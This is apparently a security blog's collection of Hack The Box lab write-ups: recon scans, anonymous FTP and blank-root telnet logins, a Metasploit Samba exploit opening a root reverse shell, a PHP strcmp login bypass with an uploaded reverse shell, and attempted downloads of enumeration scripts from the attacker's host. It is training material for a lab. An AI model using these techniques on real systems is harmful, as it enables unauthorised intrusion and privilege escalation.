Your one stop location for write-ups for Hack The Box Machines. New write-ups are added daily so check back if you don’t see the machines you’re looking for. This category contains a list of all the machine write-ups that have been posted to haXez.Hack The Box Machines are laboratory virtual machines that have been created and configured for hacking. The machines contain known vulnerabilities or software configuration weaknesses that would allow a hacker to hack them.
The process of hacking a machine can normally be broken down in to three phases. These phases may have many different steps to them that lead to the next phase.
Machines Reconnaissance
This phase involves gathering as much information about the target machine as possible. In cyber security this phase can be broken down in to two, passive reconnaissance and active reconnaissance. Since passive reconnaissance tends to involve scraping the web for information, we normally skip straight to the active reconnaissance phase. Active reconnaissance involves running scans on the machine to determine what services are listening, what version those services are and how they are configured.
Machines Foothold
This phase is where you get to start exploiting and attempt to gain access to the machine. There are many different techniques used to gain a foothold on to the machine but hopefully your reconnaissance phase has produced enough information for you to successfully leverage an exploit. An of gaining a foothold could be remote code execution through a web application to get a reverse shell.
Machines Privilege Escalation
This is the final phase of the hack. This involves taking the access that you have established through the foothold phase and escalating it to gain further privileges. Privilege escalation is core element of Cyber Security and demonstrates why you should ensure that not just the perimeter is secure.
Dear friend, welcome to haXez, and thank you for stopping by. Today we’re looking at the Hack The Box Machine Fawn. It’s a super easy box that requires you to enumerate the services on the box and then utilize those services to capture the flag. There are also a number of questions that you need to answer to own the machine.
Spawn Fawn
The first thing we need to do is to spawn an instance of the machine. However, a prerequisite of spawning the machine is connecting to the VPN. I’ve covered this before in my Meow walkthrough so have a look there if you don’t know where to start. Once you have connected and spawned a machine you will be given an IP address.
Ping The Thing
In order to check that we can communicate with the machine, we can use the tool ping to see if it responds to our ICMP packets. This can be run from the terminal by typing ping followed by the IP address of the box. As you can see from the output below, I sent four ping requests to the machine and it responded successfully.
┌──(kali㉿kali)-[~]
└─$ ping 10.129.247.20
PING 10.129.247.20 (10.129.247.20) 56(84) bytes of data.
64 bytes from 10.129.247.20: icmp_seq=1 ttl=63 time=15.2 ms
64 bytes from 10.129.247.20: icmp_seq=2 ttl=63 time=14.3 ms
64 bytes from 10.129.247.20: icmp_seq=3 ttl=63 time=14.7 ms
64 bytes from 10.129.247.20: icmp_seq=4 ttl=63 time=14.9 ms
--- 10.129.247.20 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 14.349/14.776/15.169/0.293 ms
A Lap With Nmap
Now that we know we can communicate with the Fawn machine, we need to enumerate what services the machine is running. We can do this using our favorite network mapping tool Nmap. It is good practice to throw some additional flags or arguments onto your Nmap scan in order to get as much information from the scan as possible. For this reason, we are going to tell Nmap to report back the service and operating system versions. The output below shows that the machine is running vsftpd version 3.0.3 and that the base operating system is Unix.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sV -O -p0- 10.129.247.20
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-08 12:36 EDT
Nmap scan report for 10.129.247.20
Host is up (0.017s latency).
Not shown: 65535 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=5/8%OT=21%CT=1%CU=37672%PV=Y%DS=2%DC=I%G=Y%TM=6277F198
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=103%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11
OS:NW7%O6=M505ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%R
OS:UCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Unix
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.38 seconds
FTP Anonymity
FTP or File Transfer Protocol is a service that allows you to transfer files between a client and server. There are many clients out there including terminal and graphical based ones. One FTP misconfiguration that can be taken advantage of is the anonymous login feature. Anonymous login is just that, it allows you to log in anonymously. You don’t need to know the username or password of an existing user. You just have to specify your name as Anonymous and submit anything for a password. If Anonymous logins are supported then you will be granted access to the files on the FTP server. As you can see below, Anonymous logins are supported by the server and we can log in and view the files using the dir command.
┌──(kali㉿kali)-[~]
└─$ ftp 10.129.60.207
Connected to 10.129.60.207.
220 (vsFTPd 3.0.3)
Name (10.129.60.207:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||43096|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
226 Directory send OK.
Grab The Flag
The Fawn FTP server appears to have a text file on it called flag.txt Perhaps this is the elusive root flag that we need to capture. In order to download the flag we can use the get command. The get command allows you to download files from the server and you can see an example of me using it to download the flag below.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||31037|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |***************************************************************** 32 21.00 KiB/s 00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (0.60 KiB/s)
Once the flag has been downloaded, you can use the cat command to view the contents of the file.
Dear Friend, welcome to HaXeZ where today we’re looking at one of the Hack The Box Machines called Meow. This machine is part of the Tier 0 starting point boxes and is regarded as a very easy box. Additionaly, there are a number of questions that you need to answer in order to complete this machine. First we need to connect to the VPN. In order to do that click on the Starting Point link and download the OpenVPN files.
Download VPN
Connect To The Hack The Box VPN
Once you have the files downloaded, put them in your Virtual Machines shared folder. If you don’t know where that is then please see my guide on creating a virtual machine shared folder. Once the file is in your shared folder, boot your Virtual Machine and log in. Next you need to either navigate to the mount point of your shared folder or put the full file path in the following command.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/VPN]
└─$ ls
starting_point_HaXeZ.ovpn
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/VPN]
└─$ sudo openvpn starting_point_HaXeZ.ovpn
2022-04-29 08:28:32 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
---SNIP---
2022-04-29 08:41:55 Initialization Sequence Completed
You should have now successfully complete the first challenge.
Connect To VPN
Spawn The Machine
Further down the page you should see question two with an option to spawn the box. Click on the spawn the box link and it should do just that. Additionally, once the box has been spawn you should see an IP address. Essentially, this is the address for the box that we will use to communicate with it.
Spawn Machine
You can now probably answer the next few questions too. The next one should be what does the acronym VM stand for? The answer is Virtual Machine.
VM Acronym
The next question is what tool do we use to interact with the operating system in order to start our VPN connection? That will be the terminal.
VPN Service
After that, it asks What is the abbreviated name for a tunnel interface in the output of your VPN boot-up sequence output? You can find this out by running ifconfig on your virtual machine. If snipped out my eth0 and loop back address and some other information but you can see that the abbreviated name is tun.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Meow]
└─$ ifconfig
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.15.119 netmask 255.255.254.0 destination 10.10.15.119
tun Interface
Ping The Machine
Now that the box has been spawn and you know its address, it’s time to see whether we can talk to it. In order to do that we’re going to use the ‘ping’ command.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Meow]
└─$ sudo ping 10.129.122.207 | tee -a ping.txt
PING 10.129.122.207 (10.129.122.207) 56(84) bytes of data.
64 bytes from 10.129.122.207: icmp_seq=1 ttl=63 time=15.6 ms
Which should now allow you to answer the next question which is what tool do we use to test our connection to the target? The answer is ping.
Ping Machine
NMAP The Machine
Next we need to find out what services are available for us to talk to on the box. In order to do that we will use NMAP.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Meow]
└─$ sudo nmap -sC -sV -p- 10.129.122.207 | tee -a nmap.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-29 08:42 EDT
Nmap scan report for 10.129.122.207
Host is up (0.036s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Furthermore, you should now be able to answer the next question which is what is the name of the tool we use to scan the targets ports? The answer is nmap.
nmap tool
Telnet To The Box
The results from the nmap scan showed us that port 23 or telnet is open on the box. There were no other services listening so we should attempt to connect to telnet to see what’s running. In order to do this we need to type the telnet command followed by the ip address and then the port. Include spaces between each entity.
After a bit of time waiting, we are greeted with an ascii hack the box logo. This should allow you to answer the next question which is what service do we identify on port 23/tcp during our scans? The answer is telnet.
Telnet
Login To The Box
We now need to login to the box but we don’t have any credentials. However telnet is predominantly a windows service so we can try logging in with Administrator or admin but those don’t work. However, if we try logging in as root with a blank password then we are successfully authenticated.
After logging in we can see that the box is in fact Linux and running the Ubuntu operating system. We should now be able to answer the next question which is what username ultimately works with the remote management login prompt for the target. The answer is root.
root user
Capture The Flag
Finally we now need to capture the flag. Fortunately they haven’t hidden it from us and we list out the directory we are currently in and see the file. Then all we need to do is cat that file and submit the flag to the web page.
I’m back once again doing Hack The Box machines. I have recently hacked all the Starting Point machines and am now moving on to the Beginner track. I’ve written a post on my experience with the Starting Point machine which you can read here.
Reconnaissance
The name of the machine I’m going to be looking at today and the first machine in the Beginner Track is Lame. As always, we start by checking to see whether the box is online and responding to pings.
[10.10.14.84]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Lame/Output]
└──╼ [★]$ sudo ping 10.129.81.166 | tee -a ping ping.lame.txt
[sudo] password for joe:
PING 10.129.81.166 (10.129.81.166) 56(84) bytes of data.
64 bytes from 10.129.81.166: icmp_seq=1 ttl=63 time=21.4 ms
64 bytes from 10.129.81.166: icmp_seq=2 ttl=63 time=20.4 ms
As you can see, the box is responding which means it’s safe to go ahead and run an nmap scan. I tell nmap to run safe checks, version checks and operating system identification on all ports. You can see the specific command and the output below.
[10.10.14.84]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Lame/Output]
└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.129.81.166 | tee -a nmap.lame.txt
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.84
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2021-09-15T14:40:20-04:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 40068/tcp): CLEAN (Timeout)
| Check 2 (port 45806/tcp): CLEAN (Timeout)
| Check 3 (port 54683/udp): CLEAN (Timeout)
| Check 4 (port 34973/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 1h59m26s, deviation: 2h49m56s, median: -43s
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
I’ve snipped out a bunch of the stuff we don’t need to see and have highlighted the areas which I think are of interest. Going down the lists of results I see that port 21 (FTP) is open and is allowing anonymous logins. The first thing I did was to login and check to see whether there were any files on there.
[10.10.14.84]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Lame/Output]
└──╼ [★]$ sudo ftp 10.129.81.166
Connected to 10.129.81.166.
220 (vsFTPd 2.3.4)
Name (10.129.81.166:joe): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp>
As you can see, there wasn’t anything interesting. I know that VSFTPD 2.3.4 has CVE-2011-2523 associated with it which is a backdoor. The backdoor requires the user to login with a smiley face and it grants them access. I attempted to do this but had no luck. I used the Metasploit module but that didn’t work so I it’s safe to say it’s patched. Moving on.
Foothold Hack
So from here we move on to the next port in the list, 138 and 445 (Samba). I can see that version of Samba is 3.0.20 let’s check SearchSploit to see whether there are any known vulnerabilities for this particular version.
As you can see from the snippet of code above, it looks like there is a command execution vulnerability and that there is a Metasploit module for. Let’s launch Metasploit (using msfconsole) and see if we can find and use the module.
Ok we have found the exploit, we can select it by running ‘use 0’. Once we have the module loaded we can run ‘options’ to see what we need to populate the options with.
sf6 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.129.81.166 yes The target host(s), range CIDR identifier,
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.84 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
It looks like we only have to set the RHOSTS option. The RHOSTS option is the setting you use to declare the IP address of the remote host. The RPORT is the remote port, as you can see it is targeting port 139. The LHOST and LPORT options are our localhost IP and port that we want the machine to connect back to. With all that configured, let’s run the ‘exploit’ command and see if it creates a session.
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.14.84:4444
[*] Command shell session 1 opened (10.10.14.84:4444 -> 10.129.81.166:34291) at 2021-09-15 20:06:43 +0100
whoami
root
Hallelujah, praise the hack gods. Metasploit successfully created a session on the remote machine and not only that but it looks like we are root too. That means no privilege escalation is required on this machine. Let’s grab the root flag.
cat /root/root.txt
f40--------haXez--------712
We still have to submit the user flag so we need to go hunting for it. Let’s check home directory and see if there are any users and whether any of them is hiding the user flag.
ls /home
ftp
makis
service
user
ls /home/makis
user.txt
cat /home/makis/user.txt
8af--------haXez--------3fb
Starting Point on Hack The Box is a collection of “Very Easy” machines designed to give an introduction to the hacking world. This is the red pill that will have you feeling like Alice tumbling down the rabbit hole. Unfortunately, there are multiple rabbit holes and not all of them lead to Wonderland. Alice may have met the Cheshire Cat, but you will encounter many different types of Cat that will assist you on your journey. As Morpheus once said:
“You take the blue pill, the story ends. You wake up in your bed and believe whatever you want to. You take the red pill, you stay in Wonderland, and I show you how deep the rabbit hole goes. Remember, all I’m offering is the truth. Nothing more.”
Morpheus
Let’s begin! My name is Zero Cool (kidding! it’s Joe) and I’ve been working in Cyber for around 2 years (at the time of writing). I’ve worked in tech for almost 10 years doing various jobs but have always been drawn to hacking. These machines continuously taught me new techniques. I have write-ups of each box if you want to check them out but here I will mostly be summarising my experience with the machines.
This is a machine that requires you to perform SMB enumeration to get credentials for a MSSQL database. The SMB enumeration was straight forward but I’ve never used the Impacket database connection tool before. I wouldn’t have even known about it if it wasn’t for this box. Once authenticated, I needed to use xp_cmdshell to execute a PowerShell command to download a reverse shell PowerShell script. After the reverse shell had connected back to my machine, further enumeration was required to grab the Administrator password from the history. This machine was a lot of a fun and I learnt about some new tools.
This machine required me to leverage broken access control restrictions to impersonate another higher privilege user. This one done using the tool Burp Suite. I’m quite familiar with Burp Suite but have never encountered a situation quite like this before. I’ve brute force parameters before to get API’s to dump information that they should but this was fairly unique. Once I was able to impersonate super admin it was possible to upload a reverse shell and have the machine connect back to me. Escalating privileges to root required manipulating a script that wasn’t calling a tool by the full path. This was something I had done before but am not overly confident doing. I enjoyed this box as understanding the vulnerabilities was straight forward.
This was the next target to succumb to my amateur hacking skills. This machine required downloading a password protected ZIP archive from FTP and then using tools to generate and crack the password hash of the ZIP. The ZIP contained a PHP index file which had some hardcoded MD5 encrypted credentials. The MD5 was cracked and then it was possible to login to the website. The next step was to perform an SQL injection attack while passing it my session cookie. The SQL injection was used to get a shell on to the machine which was then upgraded using bash. I then grabbed the postgres password and switched to that user. Postgres had the sudo ability to edit a particular file with vi which I exploited to escape to root.
This was the next victim on the list and gave me more trouble than I expected. This machine required exploiting WordPress by adding a backdoor to one of the themes PHP files. Once the backdoor was embedded it was possible to command it to download and execute reverse shell. Once on the machine I discovered that I had to use JuicyPotato to execute nc.exe to spawn a privileged reverse shell. I had not used JuicyPotato before and had a bit of trouble choosing which process to attach it to. I’m not entirely certain how it works yet so I need to do more research on it. This box was a lot of fun though and taught me about JuicyPotato.
This machine was next on my hit list and was my first encounter with a Domain Controller on during the Starting Point series. I’ve pen tested domain controllers before, so I sort of knew what to look out for. There were several ports that I targeted right away but the service I needed to poke was LDAP. Using the tool ldapdomaindump and authenticating as Sandra it was possible to dump user information. Then using another tool from Impacket it was possible to trick the server in to giving me a user hash which I cracked offline. With the hash cracked it was possible to perform a DCSync attack and grab the Administrator hash which gave us full access. This was a great box which I feel simulates possible configuration weaknesses that you might find in the real world.
This machine was next to get isolated and hacked by my 1337 haxor skills. Seriously though this was another fun box that leveraged directory traversal or local file inclusion. It was an obvious foothold initially due to the naming convention of the parameter used to call the index file. The machine had TFTP running so it was possible to put a reverse shell on it. By leveraging the local file inclusion attack to determine the path of the TFTP directory it was possible to call the reverse shell.
This was a fun machine that taught me about XML entity injection. I need to brush up on this subject so I’m going to check out the Portswigger web academy labs on it. The XXE attack allowed me to retrieve a user’s private key which I could then use to SSH to the box. After running winPEAS I found a file that the user had access to that was running as a scheduled task. Furthermore, we could echo content into this file so we dropped a netcat executable on the machine. I then echoed a command into the file so that it would create a reverse shell back to our machine the next time it ran. Great box but ran in to a few issues with it. Check out the post for more details.
This was a relatively simple machine with a neat trick for privilege escalation. This machine used credentials from the previous machine to gain SSH access. Once on the box I needed to use the built-in shell in man pages to escape the restricted shell and cat the user flag. The shell was still restricted as I was unable to use wget or curl to download any files. I used SSH to pipe LinPEAS on to the machine. LinPEAS found that root logins were permitted with passwords and that my use could access the shadow file with the root hash inside it. Cracking the file offline allowed me to SSH to the machine as root and capture the root flag.
This was the last machine in the Starting Point category on Hack The Box and it was a lot of fun to complete. I will admit that the web application on the machine ran horrendously slow which become tiresome at times. Base required me to snoop through listed directories and grab a PHP file containing the source code of the login page. The source code revealed it was configured in a vulnerable way that would allow me to bypass the authentication page. By intercepting and manipulating the login request it was possible to access an upload page. After uploading a reverse shell and gaining access to the box I needed to search through the web files and move laterally to the John user. After that it was a GTFOBin on the find command that elevated me to root and allowed me to capture the final flag.
Starting point has been Pwned!
Conclusion
This was a fun learning experience that made me think about the solutions. I spent a lot of time researching each of the findings and have a huge list of things I still have to look in to. I would like to revisit each of the machines once I have levelled up my skillset to see if there are any other ways that they could be completed. I’m drawn to Cyber Security and hacking like a moth to a flame so this was a really fun challenge for me. If you have an interest in tech or are already working in tech and want to improve your skillset then I highly recommend giving this a go.
This is the final machine of the Starting Point category on Hack The Box. I’ve been looking forward to doing this machine since I completed the last one. In traditional techy fashion however, I‘ve just spent most of the evening trying to work out why my Virtual Machine kept crashing. For some reason it kept producing invalid memory address registers. After an update, a reboot, and some tinkering, it now appears to be fine. That has nothing to do with this though so let’s jump right in.
Reconnaissance
Ok so first, after spawning the machine we ping it to check that it’s online.
[10.10.14.57]─[[email protected]]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output] └──╼ [★]$ sudo ping 10.10.10.48 | tee -a ping.10.10.10.48.txt PING 10.10.10.48 (10.10.10.48) 56(84) bytes of data. 64 bytes from 10.10.10.48: icmp_seq=1 ttl=63 time=21.6 ms 64 bytes from 10.10.10.48: icmp_seq=2 ttl=63 time=20.5 ms
The machine is talking to us! we have it right where we want it! Time to hack it with nmap.
[10.10.14.57]─[[email protected]]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output] └──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.48 | tee -a nmap.10.10.10.48.txx Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–14 17:41 BST Nmap scan report for 10.10.10.48 Not shown: 65534 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f6:5c:9b:38:ec:a7:5c:79:1c:1f:18:1c:52:46:f7:0b (RSA) |_ 256 b8:65:cd:3f:34:d8:02:6a:e3:18:23:3e:77:dd:87:40 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Site doesn’t have a title (text/html) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
It looks like we have a webserver running on Ubuntu. Before I look at the site, I will launch a dirb scan to check for any interesting directories that we can hack.
[10.10.14.57]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo dirb http://10.10.10.48 /usr/share/dirb/wordlists/big.txt -w
— — — — — — — -
DIRB v2.22
By The Dark Raver
— — — — — — — — -
START_TIME: Tue Sep 14 22:51:33 2021
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Not Stopping on warning messages
— — — — — — — — -
GENERATED WORDS: 20458
— — Scanning URL: http://10.10.10.48/ — —
==> DIRECTORY: http://10.10.10.48/_uploaded/
==> DIRECTORY: http://10.10.10.48/login/
+ http://10.10.10.48/server-status (CODE:403|SIZE:276)
==> DIRECTORY: http://10.10.10.48/static/
— — Entering directory: http://10.10.10.48/_uploaded/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://10.10.10.48/login/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
- — Entering directory: http://10.10.10.48/static/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
==> DIRECTORY: http://10.10.10.48/static/fonts/
==> DIRECTORY: http://10.10.10.48/static/images/
Interesting, it looks like the server is configured to allow directory listings. This is significant security oversight. This allows us to browse the directories and determine the file structure which could assist with a hack. This setting can easily be changed in the server configuration but for now let’s leverage that weakness and snoop around.
Base directory listing /login
Base directory listing /static
There are some interesting directories and files on the server, one of which is named login.php.swp and contains the following PHP code:
<?php session_start(); if (!empty($_POST[‘username’]) && !empty($_POST[‘password’])) { require(‘config.php’); if (strcmp($username , $_POST[‘username’]) == 0) { if (strcmp($password, $_POST[‘password’]) == 0) { $_SESSION[‘user_id’] = 1; header(“Location: upload.php”) } else { print(“<script>alert(‘Wrong Username or Password’)</script>”); }} else { print(“<script>alert(‘Wrong Username or Password’)</script>”); }
Foothold Hack
It appears as if the username and passwords are being put in to a short array and checked with strcmp. By intercepting and changing the request in Burp we can hack the syntax with an array of our own, and can cause the application to misbehave and hopefully bypass authentication. First, we will need to navigate to the site and submit a login request. We will then need to ensure the browser is configured to send the requests to Burp and that Burp intercept is on.
Base web application login
Second, As soon as Burp has intercepted the request we need to modify it slightly to add our own empty arrays. These arrays need to be added at the end of username and password before the input is received. You can see from the screenshot below that I have added an open and close square bracket to add the array.
Burp intercept array manipulation
Finally, we forward the request, and the subsequent set-cookie request with Burp and wait for the web application to respond. The page we are redirected to is an upload page. We know from our dirb results that there is an _uploaded directory. If we assume that is where the file upload puts files then we should be able to upload a reverse shell and hack it from there.
Base upload page
I used the pentestermonkey’s PHP Reverse Shell and uploaded it to the application. I started my netcat listener and then curled the URL to trigger the PHP reverse shell.
[10.10.14.57]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo curl http://10.10.10.48/_uploaded/shell.php
As expected. The shell worked and I was given acces to the box. Before we do anything else, we need to upgrade our shell so let’s run that Python 1 liner.
Now that that’s sorted, let’s check out the rest of the website files. When websites connect to databases, they require a database configuration file. Database configuration files contain passwords that could be used to gain access to sensitive information. There are other files like htaccess and htpasswd that could contain sensitive information too so it’s always a good idea to check them.
*Smug grin intensifies* The config.php file contains a password. We know this is the password that is required to login to the application, but we don’t know whether it has been reused on the system anywhere. With that in mind, let’s check the home directory and see what users are on the system.
Sorry John but it looks like you are going to be our victim today. I’m sure you’re lovely guy but if you have reused your password then you deserved to be pwned! (joking, or am I?). Now that we have a username and password, Lets try and switch user to john.
With that out the way, lets see how we can elevate our provides and grab the root flag. The first thing we need to know is what john can run, besides his security posture in to the ground.
[email protected]:/$ id uid=1000(john) gid=1000(john) groups=1000(john)[email protected]:/$ sudo -l [sudo] password for john: thisisagoodpassword Matching Defaults entries for john on base: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User john may run the following commands on base: (root : root) /usr/bin/find
It appears john has permission to run the find command as root. Shame he couldn’t FIND a better password. Moving forward we should check whether find has any methods of escape, like the one we performed on Guard with the man command. In order to this, I checked the website GTFOBins and it says the following command can be used to escape a restricted shell. Hopefully that means it will drop us in to a root shell.
haxez is back, back again, hacking machines, tell a friend. That’s right, back again with another writeup of a Hack The Box Machine. This time we are looking at Guard, please check out my other posts on hack Archetype, Oopsie, Vaccine, Shield, Pathfinder, Included and Markup if you haven’t already done so.
Reconnaissance
Hacking this machine was incredibly fun and it didn’t take very long. Lets get straight in to it. First thing I always like to check is whether the box responds to ping requests. This helps to determine whether the machine is online or not.
└──╼ [★]$ sudo ping 10.10.10.50 | tee -a ping.10.10.10.50.txt [sudo] password for joe: PING 10.10.10.50 (10.10.10.50) 56(84) bytes of data. 64 bytes from 10.10.10.50: icmp_seq=1 ttl=63 time=37.1 ms 64 bytes from 10.10.10.50: icmp_seq=2 ttl=63 time=21.8 ms 64 bytes from 10.10.10.50: icmp_seq=3 ttl=63 time=21.9 ms 64 bytes from 10.10.10.50: icmp_seq=4 ttl=63 time=22.4 ms
You may notice that I tend to pipe a lot of my commands to tee -a filename.txt. This is a habbit I got in to after a few exams. I also copy the output in to a seperate text file called notes. I tend to write the walkthroughs as I hack and it doesn’t hurt to have more than one copy of something.
We know the box is responding to pings so let’s see what services are actually listening on the box. We can do this by running an nmap scan.
└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.50 | tee -a nmap.10.10.10.50.txt Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–13 17:06 BST Nmap scan report for 10.10.10.50 Host is up (0.023s latency). Not shown: 65535 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2a:64:23:e0:a7:ec:1d:3b:f0:63:72:a7:d7:05:57:71 (RSA) | 256 b3:86:5d:3d:c9:d1:70:ea:d6:3d:36:a6:c5:f2:be:5d (ECDSA) |_ 256 c0:5b:13:0f:d6:e6:d1:71:2d:55:e2:4a:e2:27:0e:c2 (ED25519) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Foothold Hack
The only thing listening on the box appears to be SSH. We could try and bruteforce it with Hydra but I don’t think that’s the intended approach. Since SSH is the only active service I’m going to assume that we should have the credentials already from a previous box. The machine Markup had an XXE vulnerability that allowed us to recover an SSH private key for the user daniel. Lets see if that works.
└──╼ [★]$ ssh -i daniel.key [email protected] Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0–88-generic x86_64) Last login: Mon Sep 13 15:38:53 2021 from 10.10.14.31 [email protected]:~$
Lovely jubbly the key from the last box worked a treat. We are now on the box but no matter what I tried I couldn’t cat the user.txt file. Something funny was going on. I initially tried to get a shell through Vim as I have used that technique before turns out man was our man! By using the man command we can then “escape” to a shell by typing !bash.
So what’s next? there is a whole lot of file system to look through and not a lot of commands at our disposal. I tried to grab linPEAS from a self hosted Python server but anything I tried to do to download it failed.
[email protected]:~$ curl http://10.10.14.38/leanpeas.sh
curl: (7) Couldn’t connect to server
[email protected]:~$ ping 10.10.14.38
ping: socket: Permission denied[email protected]:~$ http://10.10.14.38/leanpeas.sh
bash: http://10.10.14.38/leanpeas.sh: No such file or directory
[email protected]:~$ wget http://10.10.14.38/leanpeas.sh
— 2021–09–13 16:48:20 — http://10.10.14.38/leanpeas.sh
Connecting to 10.10.14.38:80… failed: Permission denied.
Retrying.
Further Enumeration
